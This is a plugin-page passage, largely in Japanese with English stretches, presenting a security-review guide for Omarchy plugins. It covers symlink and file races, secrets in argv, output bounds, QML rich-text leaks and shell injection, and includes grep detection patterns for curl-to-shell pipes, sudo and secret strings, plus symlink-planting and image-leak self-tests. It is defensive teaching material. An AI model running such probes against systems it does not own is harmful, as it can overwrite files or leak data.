omarchy-plugin-security について
Omarchyプラグイン開発者向けのセキュリティ審査ガイドです。マーケットプレイス審査で繰り返し指摘された問題をもとに、ファイルやパスの扱い、入力境界、実装上の対策確認を説明します。
主な機能
- 01プラグイン審査で頻出する指摘の整理
- 02安全なファイル・パス処理の解説
- 03確認後に開く競合リスクの説明
- 04提出前のgrep監査手順
- 05コードとドキュメントの整合性の重視
活用シーン
- 01提出前のOmarchyプラグイン審査
- 02ファイル読み込みと状態書き込みの確認
- 03シンボリックリンクやパス競合の検出
- 04審査指摘を踏まえた実装の強化
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wbso-ai/ omarchy-plugin-security-skill --skill omarchy-plugin-securityインストール後、Claude Code で/omarchy-plugin-securityを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEREADME.mdassets/plugins-x.htmlsocial-x.htmlsocial.html詳細
Omarchy プラグインのセキュリティ:プラグインがブロックされる落とし穴
これは、マーケットプレイス独自のレビュー履歴からまとめた実践ガイドです。omacom/omarchy-plugin-marketplace への投稿に関するすべての課題 5,130 件(2026 年 7 月から 9 月まで)と、それらに寄せられた約 5,500 件のレビューコメントをもとにしています。マーケットプレイスのセキュリティレビューは、メンテナーが実行する AI レビューエージェントによって行われ、エージェントは正確なコミットのツリー全体を読み込みます。静的ベースラインスキャナーはこれとは別で、対象範囲もはるかに限定されています。以下で「レビュアー」とは、そのエージェントを指します。以下の落とし穴はすべて、実際にブロックの原因となった指摘であり、その多くは何度も指摘されています。件数は、その点を取り上げたレビューコメントのおおよその数です。レビュアーが実際に何に時間をかけているのかが分かります。
最初の needs-fixes の後ではなく、プラグインを書く前に読んでください。レビューラウンドごとにおよそ 1 日かかります。また、プッシュのたびにレビュアーはツリー全体を読み直すため、最初の修正後に新たな指摘が見つかることもあります。最初に投稿する前に、すべてを堅牢にしてください。
このスキルの目的は、プラグインが最初のラウンドでレビューに合格することです。
レビュアーの脅威モデルを5文で理解する
これらを理解すれば、以下のルールのほとんどは自明になります。
- プラグインは、長時間稼働する共有プロセス内で動作します。
omarchy-shellは Quickshell で、すべてのウィジェットをホストします。無制限の割り当てを発生させたり、処理をブロックしたり、URL を取得したりするものは、デスクトップ全体に影響します。そしてこれは、「デスクトップ上で、ファイルによって停止されてはならない唯一のプロセス」です。 - 自分で入力していないものはすべて入力データです。 API レスポンス、MPRIS メタデータ、ウィンドウタイトル、デバイス名、ファイル名、通知本文、クリップボード、
hyprctlの出力、設定ファイルや状態ファイル、自作のヘルパースクリプトの出力が該当します。ウェブページがウィンドウタイトルを設定します。USB メモリは自身の製品名文字列を設定します。 - 同じユーザーとして実行される別のプロセスも対象範囲に含まれます。 サンドボックス化されたアプリ、ブラウザーのタブ、別のプラグインは、予測可能なパスにシンボリックリンク、FIFO、サイズ超過のファイルを仕掛けたり、
/proc/<pid>/cmdlineを読み取ったり、ソケットに接続したりできます。0700 のディレクトリでも、この境界はなくなりません。(2026 年 9 月 4 日以降、同一 UID による可用性の問題だけの場合はブロッカーではなく堅牢化の対象に分類されています。ただし、レビュアーは引き続き修正を求めます。また、シークレット、権限、リモートデータに関わるものはすべて引き続きブロックされます。いずれにしても修正してください。) - チェックは、実際に使用するオブジェクトに結び付いていなければなりません。 パス名を検査してから別途開くのは競合状態です。データをメモリに読み込んだ後に適用するバイト数の上限は、「割り当て後のコンシューマーガード」です。問題を隣のレイヤーに移しただけの修正は、「境界を閉じず、移動させただけ」と指摘されます。
- ドキュメントは緩和策ではありません。 README の文、警告、コメント、LLM へのプロンプト指示で、コードの代わりにはなりません。コードが満たしていない README の主張自体も指摘の対象です。保護機能を約束しているのにコードにその保護がない場合も、README に記載された動作がコードの動作より弱い、あるいは異なる場合(README では「初回使用時に信頼」する一方、コードでは明示的なピン留めを要求する場合など)も該当します。レビュアーは仕組みを検証し、食い違いを欠陥として扱います。
レビュアーがよく口にすることが2つあります。「この指摘は、プラグインが悪意のあるものだと言っているわけではありません」と、「検証はこの正確なスナップショットにのみ適用され、セキュリティ監査ではありません」です。意図について議論せず、仕組みを修正してください。
提出前の grep 監査
プラグインのルートディレクトリで次を実行してください。数秒で終わります。一致箇所はすべてレビュアーが確認する場所なので、時間をかけるべきなのは実行ではなく、一致箇所を読むことです。
# 1. QML Text sinks without an explicit format (the single most common finding, ~1000 comments)
grep -rn --include='*.qml' -E '\b(Text|Label|TextEdit|StyledText)\s*\{' . | wc -l
grep -rn --include='*.qml' -c 'textFormat:' .
# Every Text needs textFormat: Text.PlainText. The python audit further down lists the misses.
# 1b. Host-owned sinks the plugin cannot pin to PlainText: strip < > & and cap before these
grep -rn --include='*.qml' -E 'tooltipText:|showTooltip\(|ConfirmDialog|PanelSectionHeader|PanelHero|\.label:|message:' .
# 2. Whole-output collectors and shell strings (~800 and ~200 comments)
grep -rn --include='*.qml' -E 'StdioCollector|bar\.run\(|execDetached\("|"bash", *"-l?c"|"sh", *"-c"' .
grep -rn --include='*.py' -E 'shell=True|capture_output=True|communicate\(|os\.system' .
grep -rn --include='*.sh' -E '\$\(|eval |bash -c' .
# 3. Predictable paths and pathname I/O (~500 comments)
grep -rn -E '/tmp/|XDG_RUNTIME_DIR:-|mkdir -p|makedirs|write_text|read_text|json\.load\(open|FileView' .
grep -rn --include='*.sh' -E '> *"?\$|>> *"?\$|tee ' .
# 4. Secrets in argv (~230 comments)
grep -rn -E 'Authorization|Bearer|--user |-u "|token|password|passwd|secret' . | grep -v README
# 5. Network without bounds or with redirects
grep -rn -E 'curl ' . | grep -v -E 'max-filesize|head -c'
grep -rn -E 'curl .*-L|urlopen|requests\.|fetch\(|XMLHttpRequest' .
grep -rn -E 'http://|verify=False|-k |--insecure|CERT_NONE' . # -k is fine only next to --pinnedpubkey
# 6. Supply chain and privilege
grep -rn -E 'curl .*\| *(ba)?sh|git clone|git pull|releases/latest|pip install|npm install|cargo install|yay |pacman |sudo |pkexec|systemctl|setcap' .
find . -type f -exec file {} + | grep -E 'ELF|Mach-O|PE32|compiled'
# 7. Agent instruction files and dev junk in the installable tree
ls -a | grep -E 'AGENTS.md|CLAUDE.md|\.agents|\.claude|\.codex|\.gemini|\.gstack|\.wrangler|__pycache__|\.pyc'
# 8. Files the scanner cannot handle (fails the whole baseline)
find . -type f -size +512k ! -name preview.png
grep -rlP '\x00' --include='*.qml' --include='*.sh' --include='*.py' --include='*.js' .
find . -iname '*install*' -o -iname '*setup*' -o -iname '*uninstall*' | grep -E '\.(png|jpg|gif|webp)$'
続いて、マーケットプレイス独自のスキャナーをローカルで実行し(下記「自動ベースライン」を参照)、古い SHA のせいで1日を無駄にしないよう「提出の仕組み」を読んでください。
1. ファイル、パス、状態
QML のテキストに続いて、最も多い指摘の種類です。レビュアーが求めるモデルは、いつでも同じです。一度だけ開き、ファイルディスクリプターを検証し、そのディスクリプターを使用し、パス名を再解決しないでください。
シェルまたはヘルパーが直前に作成したものではないファイルの読み取り(約480件のコメント)
FileView(デフォルトのpreloadを使用)、cat、jq file、head -c、Path.read_text()、json.load(open(path))、readFileSyncはすべてシンボリックリンクをたどり、FIFOでブロックし、記述した長さのチェックが実行される前にファイル全体を読み込みます。FileViewには上限がまったくなく、pathをバインドすると読み込みが発生します。
対策:argv配列で呼び出す小さなヘルパーを用意し、open(O_RDONLY|O_NOFOLLOW|O_NONBLOCK|O_CLOEXEC)を1回だけ実行し、そのファイル記述子に対してfstatを行い、S_ISREG、所有者がuidと一致すること、st_nlink == 1、機密情報の場合はグループおよびその他ユーザーの書き込みビットがないこと、サイズを確認します。その後、同じファイル記述子からlimit + 1バイトを読み取り、切り詰めるのではなく、上限超過を拒否します。付録のPythonヘルパーを参照してください。FileViewは監視専用として使い、preload: false、watchChanges: true、blockAllReads: trueを設定し、.text()や.data()は決して呼び出さないでください。
ヘルパーを使うほどではない場合のシェルでの代替方法:
/usr/bin/dd if="$file" iflag=nofollow,nonblock,count_bytes,fullblock bs=1 count=$((MAX + 1)) status=none
# or
# Not `exec {fd}<"$file"`: a bash redirect does not pass O_NOFOLLOW, so it
# happily reads through a planted symlink. The sentence below says as much;
# it used to sit here as an equivalent anyway.
bashの<リダイレクトとexec 3<fileはO_NOFOLLOWを渡しません。レビュー担当者はこの点を明示的に指摘します。[[ -L $f || ! -f $f ]]の後にcatを実行するのは、「同じ名前を別々に3回解決する」ことになります。
O_NONBLOCKも必要な理由:O_NOFOLLOWが拒否するのは最後の要素がシンボリックリンクの場合だけです。パスに仕掛けられたFIFOがあると、型チェックが実行される前にopen()が永久にブロックし、シェルが停止します。O_NONBLOCKを追加し、fstatを実行してから、通常ファイルの場合はこれを解除してください。
予測可能なパスへの書き込み(約490件のコメント)
>、>>、tee、cp -f、install、ln -sfn、sed -i、open(path, "w")、write_text()、FileView.setText()、writeFileSync、curl -oはすべて、仕掛けられたシンボリックリンクをたどり、そのリンク先を切り詰めます。固定名の.tmp、.bak、または$$を付けた同階層のファイルも、別の予測可能なパスにすぎません。umask 077を設定し、後からchmodしても、最初のオープン時点では保護されません。QuickshellのFileView { atomicWrites: true }は、デフォルトのumaskでモード644のファイルを作成することが実測されているため、プライベートな情報には使えません。
対策:mkstemp、またはモード0600のO_CREAT|O_EXCL|O_NOFOLLOW|O_CLOEXECを使い、保存先ディレクトリ内に予測不可能な一時ファイルを作成します。最初のバイトを書き込む前にfchmodを実行し、そのファイル記述子を使ってチェック付きのループで書き込み、fsyncを実行してから(dirfd相対で)rename/os.replaceを実行し、最後にディレクトリをfsyncします。rename(2)は、保存先にあるシンボリックリンクを、そのリンク先に書き込むことなく置き換えます。finallyまたはEXITトラップで一時ファイルを削除してください。ファイル記述子を閉じてから、一時ファイルを名前で再度開いてはいけません。また、後からパスに対してchmodしてはいけません。
umask 077
t=$(mktemp -p "$(dirname -- "$dest")" .name.XXXXXXXXXX)
trap 'rm -f -- "$t"' EXIT
printf '%s' "$payload" >"$t" # $t is fresh and ours; this is the one redirect that is fine
mv -f -T -- "$t" "$dest"
チェック後のオープンで発生する競合状態(約450件のコメント)
-f、-L、stat、exists()、is_file()、realpath、find -type fの後に別途オープンする処理、cat、jq、sqlite3.connect、Image.source、FileView.reload()などが該当します。ファイル記述子を通じてファイルを検証し、その後QMLが再度開くためのパス名を返すヘルパーにも、同じ問題があります。対策:検証したファイル記述子そのものから読み取り、パスではなく、標準入力、/proc/self/fd/N、またはサイズを制限したdata: URLを使って次の処理段階にバイト列を渡してください。
親ディレクトリの連鎖(約130件のコメント)
O_NOFOLLOW が保護するのは最後のコンポーネントだけです。mkdir -p、os.makedirs、Path.resolve()、mktemp -p dir、mv、chmod dir はすべてパス名を使って親ディレクトリを再解決します。また、~/.local/state が攻撃者も所有する別のディレクトリへのシンボリックリンクになっていても、uid/モードのチェックには通ってしまいます。mkdir -p -m 700 は、既存のディレクトリやシンボリックリンクがあっても失敗せず、モードも変更しません。
対策:信頼できる起点から、openat(O_RDONLY|O_DIRECTORY|O_NOFOLLOW|O_CLOEXEC) を使ってコンポーネントを1つずつたどり、保持している各ディスクリプターに対して fstat を実行します(所有者 == uid、実ディレクトリであること、プラグイン専用ディレクトリのモードが0700であること)。存在しないコンポーネントは mkdirat で作成し、その後のすべての openat、mkstemp(dir_fd)、renameat、unlinkat、fchmod は、保持しているディスクリプターを基準に実行します。RESOLVE_NO_SYMLINKS を指定した openat2 が最も強固な方法です。シェルでは、現在のポリシーのもとで、mkdir -p -m 700 の後に結果の所有者、種類、-L をチェックする方法が、プラグイン専用の状態ディレクトリには許容されます。ただし、シンボリックリンクは修復せず拒否し、その後、内部の各ファイルをヘルパー経由で O_NOFOLLOW を指定して開く必要があります。認証情報、別のプリンシパル、または特権を持つ書き込み元が関わる場合、レビュー担当者が求めるのは完全な dirfd による走査です。
共有 /tmp と XDG_RUNTIME_DIR のフォールバック(約150件のコメント)
/tmp/<plugin>、/tmp/<plugin>-$UID、/dev/shm/...、${XDG_RUNTIME_DIR:-/tmp}、ハードコードされた /run/user/1000。別のアカウントがパスを先に作成し、スナップショットを読み取ったり、ソケットを所有したり、書き込みから実行までの間にスクリプトを置き換えたりする可能性があります。対策:ファイルを使わず、標準出力を優先します。それができない場合は、: "${XDG_RUNTIME_DIR:?}" を使って安全側に倒して失敗させるか、トラップを設定して mktemp -d を使います。既存のディレクトリはコンポーネントごとに検証し、永続状態には $XDG_STATE_HOME/$XDG_CACHE_HOME を使います。/tmp でワイルドカードによる削除は決して行わないでください。
ディレクトリとその内容を毎回修復する
chmod を if [[ "$mode" != "700" ]] の中に置くのは、論理的に見えて誤りです。ディレクトリのモードから、その中にあるファイルの状態は分かりません。現在700のディレクトリに、以前のバージョンが作成した644のファイルが残っていることもあり、その場合、それらは修復されません。さらに悪いことに、過去に一度でもアクセス権が広かったディレクトリには、自分が作成したものではないエントリーが含まれている可能性があります。また、キャッシュファイルの固定名がシンボリックリンクになっていると、その後のすべての書き込みが、攻撃者が選んだファイルに送られます。ディレクトリを閉じても、これは解消されません。そのため、毎回修復を実行し、通常ファイルでないものをすべて削除します(find は lstat を使うため、シンボリックリンクは -type l になります)。
find "$dir" -mindepth 1 -maxdepth 1 ! -type f -exec rm -rf -- {} + 2>/dev/null
find "$dir" -mindepth 1 -maxdepth 1 -type f -exec chmod 600 -- {} + 2>/dev/null
書き込み経路はテストしてください。2行でテストでき、レビュー担当者もまさにこれを行うためです。
echo "must survive" > /tmp/victim
ln -sf /tmp/victim ~/.cache/my-plugin/cache.json
my-script list >/dev/null
cat /tmp/victim # unchanged? then the write is safe
これらのヘルパーを移動するときに気をつけるべき Bash の落とし穴が1つあります。関数は定義された後でなければ存在しません。また、スクリプトの先頭近くにある private_dir "$X" || return 0 は、「command not found」を通常の false として扱い、握りつぶします。その結果、スクリプトは問題がないかのように処理を続けますが、設定を読み込むことはありません。
同じファミリーの小さなメンバー
- ロックファイルと PID ファイル:
flockの前にexec 9>"$lock"を実行すると、シンボリックリンクをたどって切り詰めてしまいます。検証済みのランタイムディレクトリ内で、O_CREAT|O_NOFOLLOW、0600 を指定してロックファイルを開き、そのファイル記述子を使って検証するか、既存ファイルの読み取り専用ファイル記述子に対してflockを実行します。 - パストラバーサル:プロファイル名、スラッグ、ID、アーカイブのメンバー、IPC から渡されるパスをディレクトリに結合する処理です。
^[A-Za-z0-9._-]+$でも..は許容されます。.、..、区切り文字を明示的に拒否し、開いたルートの配下に正規化して、修復しようとせず拒否します。 - 削除:別途チェックしたパス名を指定して実行する
rm -rf、remove_tree、glob による削除、find -deleteです。保持している dirfd を基準に削除するか、dirfd 経由で予測困難な隔離名に変更し、inode を検証してからリンクを解除します。 - アーカイブ:展開前に、絶対パスやトラバーサルを含むメンバー、シンボリックリンク、ハードリンク、デバイス、想定外のエントリー数、展開後のサイズを拒否します。4 GiB のストリーム上限は、メンバー単位の上限ではありません。
- フェイルクローズ:読み取りに失敗したときに、「ファイルが存在しないので初期化する」として扱ってはいけません。
ENOENTと、それ以外のあらゆる拒否状態を区別します。作成していないオブジェクトは削除しません。fchmodやflockの失敗は、警告ではなくエラーとして扱います。 - 耐久性:rename の後にディレクトリを fsync します。すべての書き込みの戻り値を確認します。「保存済み」と報告する状態ファイルは、永続的に公開されていなければなりません。
2. シークレットと認証情報
argv に含めない(約230件のコメント)
/proc/<pid>/cmdline は誰でも読み取れるため、プロセスの実行中は、curl -H "Authorization: Bearer $t"、curl -u、-d "$body"、URL 内のトークン、jq --arg token、wl-copy <secret>、wtype <text>、bash -c "... $token ..."、python3 -c "... $key ..." によって、マシン上のすべてのアカウントにシークレットが見えてしまいます。定期的にポーリングするウィジェットは、数秒ごとにこの情報が見える状態を作り直します。アクセス権を0600に設定したキーファイルでも、すべてのリクエストでその内容が引数に展開されるなら役に立ちません。「認証情報を argv に含めてはいけません。これはセキュリティ強化の好みの問題ではなく、シークレットと、システム上の誰もが読める値との違いです。」
次善策は環境変数です。/proc/<pid>/environ は同じユーザーのすべてのプロセスから読み取れ、すべての子プロセスに引き継がれます。レビュー担当者は「argv から Process.environment に移しただけ」の変更を却下しました。CLI にほかの手段がない場合に限り、受け入れられます(BW_SESSION は一度受け入れられましたが、その後撤回されました)。
修正方法:固定プログラム間では stdin または非公開のファイルディスクリプターを使います。トークンがパーサーに渡る前に、CR、LF、NUL を拒否します(case $token in *[$'\r\n']*) exit 1 ;; esac)。curl --config に引用符や改行を展開すると、別の設定ディレクティブとして解釈されます。curl はその URL にアクセスし、Authorization ヘッダーも送信します。
# curl: header on stdin. -H @- is a header list, not a config file.
printf 'Authorization: Bearer %s\n' "$token" \
| /usr/bin/curl -q -sS -H @- --max-time 10 --max-filesize 1048576 -- "$url"
# body on stdin
jq -n --arg t "$token" '{token:$t}' | /usr/bin/curl -q -sS --data-binary @- -- "$url"
# clipboard and typing
printf '%s' "$secret" | /usr/bin/wl-copy
printf '%s' "$text" | /usr/bin/wtype -
# keyring
printf '%s' "$token" | /usr/bin/secret-tool store --label='...' service myplugin
QML では stdinEnabled: true を使い、必要なプロセスに対してのみ proc.write(...) を呼び出します。curl -q(または --disable)は最初のオプションでなければなりません。そうしないと、~/.curlrc によって2つ目の URL やリダイレクトが追加され、-H @- のヘッダーもそこに送られる可能性があります。~/.curlrc は同じユーザーのファイルですが、認証情報を扱う行であるため、レビュー担当者は -q の欠落をセキュリティ強化の問題ではなく、阻害要因として評価します。呼び出しの前後では set -x を無効にします。bash のトレースはすべてのコマンドの語句を stderr に出力し、ウィジェットの stderr はジャーナルに記録されます。
untrace() { case "$-" in *x*) TRACED=1; set +x ;; *) TRACED=0 ;; esac; }
retrace() { (( TRACED )) && set -x; return 0; }
``` Verify with `cat /proc/$(pgrep -n curl)/cmdline | tr '\0' ' '` while a request is running. If an upstream CLI only takes the secret as an argument, reviewers expect you to remove that feature or compute it locally (TOTP via `hmac`/`hashlib` was the accepted answer).
### Files holding credentials or private content (~150 comments)
`open("w")` then `chmod 600` is a window, and `chmod` follows a replaced symlink. Default umask makes token files 644 in 755 directories; a later `umask 077` never repairs existing files; `mkdir -p -m 700` never tightens an existing directory. Automatic fallback from `secret-tool` to a plaintext file, or "encryption" keyed by `/etc/machine-id` with a base64 fallback, is "persistent credential degradation".
Fix: the mode is set at creation (`os.open(..., O_CREAT|O_EXCL|O_NOFOLLOW, 0o600)`, `mkstemp` + `fchmod`, `install -m 600`, `umask 077` before `mktemp`), inside a verified 0700 directory, published atomically. Read credential files only through a validated descriptor and refuse a group- or world-readable one with a `chmod 600` hint instead of silently downgrading. Prefer the desktop keyring (`secret-tool`, libsecret) with no file fallback; if plaintext storage must exist, make it an explicit, clearly worded opt-in.
Cache and state are private too, even without tokens in them: mail subjects, camera frames, coordinates, window titles, `/proc/<pid>/cmdline` snapshots (they contain passwords and document URLs) and transcripts. Never store argv as undo state.
### Logs, notifications, errors, UI state
Redact before logging (`JSON.stringify(cmd)` with the `Authorization` header in it was a blocker); never put a secret or a secret-bearing URL in an error message, a `notify-send` body, or a diagnostic command; clear password fields on every completion, cancel and error path; do not prefetch secrets before an explicit reveal or copy action; `wl-copy --clear` after a delay only if the clipboard still holds your value; log URLs as scheme + host only.
## 3. Bounds and resource exhaustion
The second-largest family. The rule: **the cap lives at the producer, before the bytes exist in the shell, and it is cap + 1 so overflow is detected rather than silently truncated.**
### Child-process output collected whole (~830 comments)
`StdioCollector` (especially `waitForEnd: true`), `subprocess.run(capture_output=True)`, `communicate()`, `Command::output()`, `$(...)` retain the complete stdout and stderr of `hyprctl -j clients`, `pacman`, `journalctl`, `restic --json`, `nvidia-smi`, `wl-paste`, `gh api` before any `.length` or `slice()` check runs. `timeout`, `--max-time`, `--tail 200` and watchdogs bound time or lines, not bytes. A row limit does not bound one huge line. Slicing a QString frees nothing.
Fix:
```bash
# producer-side cap; with pipefail the substitution fails if cmd fails,
# and a truncated result is detected by length (head read MAX + 1 bytes).
# ${#out} counts characters, not bytes, unless LC_ALL=C.
set -o pipefail
LC_ALL=C
out=$(/usr/bin/timeout -k 2 -- 20 cmd args | /usr/bin/head -c $((MAX + 1))) || exit 1
[ ${#out} -le "$MAX" ] || { echo 'output exceeds limit' >&2; exit 1; }
パイプラインはサブシェル内で実行されるため、PIPESTATUS は $(...) によるコマンド置換の後には保持されません。したがって、後から値を読み取ろうとせず、pipefail と長さチェックを使うか、コマンド置換を使わずにパイプラインを実行して、保持したファイルディスクリプターに書き込みます。LC_ALL=C が設定されていない場合、UTF-8 の出力では ${#out} <= MAX でも、head -c がすでに MAX + 1 バイトを読み取っていることがあります。
QML では StdioCollector を SplitParser { splitMarker: "" } に置き換え、チャンクごとにバイト数を数えます。上限を超えたら signal(15) を送り、その後 signal(9) を送ります。より望ましいのは、すべてに上限を設け、厳密な形式の小さな JSON ドキュメントを返すヘルパーを呼び出すことです。「ツリー内に StdioCollector が一切残っていない」状態が、最も受け入れられやすい形です。stderr にも上限を設け、上限を小さくしたうえで PlainText として表示します。Python では単調時計による期限と select を使って両方のストリームを逐次読み取り、上限超過時にはプロセスグループを終了させます。
デフォルトの SplitParser はバイト数の上限ではありません。onRead で行を拒否できるようになる前に、改行までバッファリングする必要があります。Python の readline()、for line in proc.stdout、awk length($0) も同じ問題があります。行を組み立てる前に、バイト数の上限を設けて生のチャンクを使います。
リモート応答(約450件のコメント)
--max-time しか指定しない curl、response.read()、json.load(resp)、HTTPError.read()、DONE の後に測定する xhr.responseText、max_size を指定しない WebSocket フレーム、プロトコル上の可変長が268 MBに及ぶ MQTT、ハッシュの検証前にディスクへ保存するダウンロード、サーバーの has_more に従うページネーション。--max-filesize だけでは不十分です。宣言された Content-Length に対してのみ動作し、チャンク転送の本文には何の効果もありません。
修正方法:pipefail を有効にして、curl -q --fail --max-time 10 --max-filesize N -- "$url" | head -c $((N + 1)) を使います。Python では resp.read(MAX + 1) で読み取り、上限超過を拒否します。WebSocket には有限の max_size を明示的に指定します(数値を明記してください。ライブラリのデフォルト値に依存するだけでは、せいぜいセキュリティ強化として評価されます)。MQTT には、小さく文書化されたパケット上限を設けます。エラーボディにも上限を設けます。ページネーション全体で、フェイルクローズのページ数上限と合計サイズ上限を設けます。転送全体にも期限を設定します(ソケットのタイムアウトは操作ごとに適用されるため、データを少しずつ送る相手によって処理がいつまでも続く可能性があります。DNS の名前解決も期限に含める必要があります)。
バイト上限を超えた後:スキーマ、件数、深さ(コメント約430件)
1 MiB のレスポンスでも、数万件の有効なオブジェクトや、巨大な文字列ひとつを保持できます。レビュアーは、Repeater や ListModel に渡される上限のない配列、長さに上限のない文字列、ネストの深さ、有限でない数値、配列全体を sort() してからスライスする処理、アイテムごとのプロセスの大量起動をブロックします。モデルに設定する前に、消費する要素すべての型と有限範囲を検証してください。件数、文字列ごとの長さ、ネスト、合計バイト数に上限を設けてください。不一致があればレスポンスまたはキャッシュ文書全体を拒否し、形を整えるために切り詰めてはいけません。対話入力に適用するのと同じ制限を、状態ファイル、IPC 入力、設定にも適用してください。攻撃者が選んだ文字列(__proto__、constructor)をキーとするコレクションには、Object.create(null) または Map を使用してください。
プラグインがブロックされたその他の上限不足
- 期限とプロセスグループのクリーンアップ(コメント約530件。セクション9を参照)。
- ディレクトリ列挙:
find | sort | headでは、sortがすべてを保持します。FolderListModelはcountが存在する前にディレクトリ全体をメモリに展開します。os.walkとrglobには、項目数、深さ、時間、ファイル記述子の予算がありません。並べ替える前に、上限付き件数で探索を停止してください。ディレクトリのシンボリックリンクをたどらないでください。 - 画像とデコーダー:
sourceSizeが制限するのはデコード後の寸法だけで、取得バイト数やデコード処理量ではありません。実際の形式と寸法を明示的な上限の範囲内で検証し、ImageMagick を-limit値とタイムアウト付きで実行してください。信頼できないソースからの SVG を拒否し、アーカイブと展開後の出力に上限を設けてください。 - ポーリングの集中と再試行:上限のない250ミリ秒間隔の再試行、永遠に続く3秒ごとの再起動、20ミリ秒間隔の
hyprctlポーリング。ジッター付きの上限付き指数バックオフ、失敗回数の上限、上限付きキューによる single-flight を使用してください。 - セッション中の増大:読み込み状態を維持するサービス内で一度も追い出されないマップ、キュー、キャッシュ。固定サイズの FIFO または LRU を使用してください。
- 入力制限:ロック画面のパスワード欄を含め、すべての
TextInputにmaximumLengthを設定してください。すべての IPC と設定の入力箇所に、明示的で小さな上限を設けてください。parseFloatによる接頭辞のみの解析を拒否し、NaNと無限大も拒否してください。 - 単位の誤り:
String.slice(0, MAX_BYTES)が計測するのは UTF-16 コード単位です。生成側でBufferを使ってバイト数を計測してください。
4. QML のレンダリング先
textFormat: Text.PlainText のない Text(コメント約1,000件)
最も多く報告されている指摘です。textFormat のない Text、Label、TextEdit、Quattro コンポーネントは Text.AutoText のままになり、Qt は文字列がマークアップのように見えるとリッチテキストとしてレンダリングします。リッチテキストでは <img src="..."> が読み込まれ、文字列の作成者が選んだ場所に対して、シェルプロセスから実際の HTTP リクエストまたは file: リクエストが送信されます。これは理論上の話ではなく、実際に確認されています。自分で入力していない値はすべて該当する可能性があります。API フィールド、MPRIS メタデータ、ウィンドウタイトルとアプリ ID、.desktop の名前、デバイス名、SSID 名、Bluetooth 名、ファイル名、ICS の概要、クリップボード、ヘルパーの stderr、エラーメッセージ、保存されたメモ、他のプラグインのマニフェストなどです。elide、maximumLineCount、タグの除去、html.unescape()、切り詰めでは、値の解釈方法は変わりません。レビュアーは textFormat の件数を grep で確認します(「Panel.qml 内で32件中0件」)。ひとつでもレンダリング先を見落とした修正は、再びブロックされます。
シェルを使わずに仕組みを確認できます。既定の Text に <img src="http://127.0.0.1:PORT/leak.png"> を設定し、そのポートでリスナーを起動したうえで、QT_QPA_PLATFORM=offscreen qml6 test.qml を実行し、GET /leak.png が届くことを確認してください。
修正方法:リテラルのみのものも含め、すべての Text に textFormat: Text.PlainText を設定して、ルールを監査可能にしてください。さらに、入力時に長さと制御文字にも上限を設けてください。スタイル設定が本当に必要な場合は、すべての変数をエスケープし(最初に &、次に <、>)、色を固定テーブルから選ぶ場合に限り Text.RichText を使用するか、複数の PlainText アイテムに分けてください。Markdown レンダラーでは、生の HTML と画像を拒否する必要があります。いくつかのタグ形式だけを拒否する方式は、「この信頼境界では不十分」です。機械的に監査してください。
python3 - <<'EOF'
import re, glob
for f in sorted(glob.glob('**/*.qml', recursive=True)):
src = open(f).read()
for m in re.finditer(r'\b(Text|Label|TextEdit|StyledText)\s*\{', src):
i, depth = m.end(), 1
while i < len(src) and depth:
depth += (src[i] == '{') - (src[i] == '}'); i += 1
if 'textFormat:' not in src[m.end():i]:
print(f"MISSING {f}:{src[:m.start()].count(chr(10))+1}")
EOF
固定できない共有ホストコンポーネント(約130件のコメント)
WidgetButton.text と .tooltipText、BarIconButton、bar.showTooltip()、ConfirmDialog.message、PanelSectionHeader.text、PanelHero.title、Quattro の Dropdown アイテムとバーのツールチップは、シェルが AutoText でレンダリングするため、プラグイン側では書式を指定できません。渡す前に除去してください。<、>、&(および C0/C1 制御文字と双方向テキスト制御文字)を削除する plain() ヘルパー、厳格な長さ制限、または静的文字列を使います。制御文字しか削除しない sanitizeLabel では不十分です。
Image.source、AnimatedImage、Loader(約130件のコメント)
Image.source に割り当てられた MPRIS の artUrl、API のサムネイル、通知アイコン、トレイアイコン、data: URI、file:///tmp/... パスを使うと、シェルはローカル、ループバック、プライベートネットワーク、または巨大なリソースを読み込み、Qt 独自のリダイレクトにも従います。http だけを拒否する safeIconSource() では、file: と qrc: が通過します。stat の後に Image.source を設定する方法には競合状態があります。修正方法:上限付きヘルパーを介して取得し(HTTPS ホストの許可リスト、オリジンをまたぐリダイレクトの禁止、バイト数と寸法の上限、マジックバイトによる形式チェック)、排他的に作成したプラグイン所有のファイルに保存してから、sourceSize を指定して Image にそのファイルを設定するか、検証済みバイトから上限付きの data: URL を生成します。アイコンにはテーマ名または image:// プロバイダーのみを使用してください。Loader のソースは固定 ID のセットに限定してください。
通知の概要と本文
notify-send、omarchy-notification-send、FreeDesktop プロトコルは、プラグイン側では PlainText に固定できないコンポーネントで概要と本文をレンダリングし、本文はマークアップを解釈できます。カメラ名、ファイル名、送信者名など、保存済みまたはリモートの文字列をどちらかのフィールドに渡す前に、スクリプトと QML の両方で <、>、& と制御文字を削除し、長さに上限を設けてください。スクリプトも CLI のエントリーポイントだからです。トースト通知に実行可能なアクションを保存しないでください。永続化された --exec の argv は、その時点でユーザーの同意を得ずに後から再実行されます。
5. コマンドの構築と実行
データから構築するシェル文字列(約210件のコメント)
bash -c "..."、sh -c、bar.run(string)、Util.execDetached(string)、shell.run は、すべて ["bash", "-lc", command] に解決されます。その文字列に埋め込まれたデータはコードです。たとえば、'; cmd; :' を含む URL、引用符を含むファイル名、.desktop の Exec、トークン応答の expires_in を $(( )) 内に入れること、GNU sed のプログラムに設定値を入れること(e フラグは実行します)、ヒアドキュメントにメモ本文を入れることなどです。JSON.stringify() と encodeURIComponent はシェルのエスケープではありません。外側のシェルで Util.shellQuote を使っても、内側の言語(hyprctl eval の Lua、python3 -c、nmcli のエディター入力、Hyprland による exec の再解析)は保護されません。
修正方法:シェルをなくします。Process.command と Quickshell.execDetached は配列を受け取り、各値が独立した要素になります。スクリプトを残す必要がある場合は、スクリプトを定数にし、"$1"、"$2"、または environment を使います。Python と jq には、補間ではなく argv または stdin でデータを渡してください(jq --arg、jq -Rn)。hyprctl eval または dispatch に渡す値は、整数、true/false、^0x[0-9a-f]+$ に一致するアドレス、閉じた許可リストの名前、またはこの順に luaQuote と shellQuote を適用した値に限定します。解析時と使用直前の両方でアンカー付き正規表現による検証を行い、拒否してください。修正してはいけません。
Bash の算術演算は入力を二度評価します
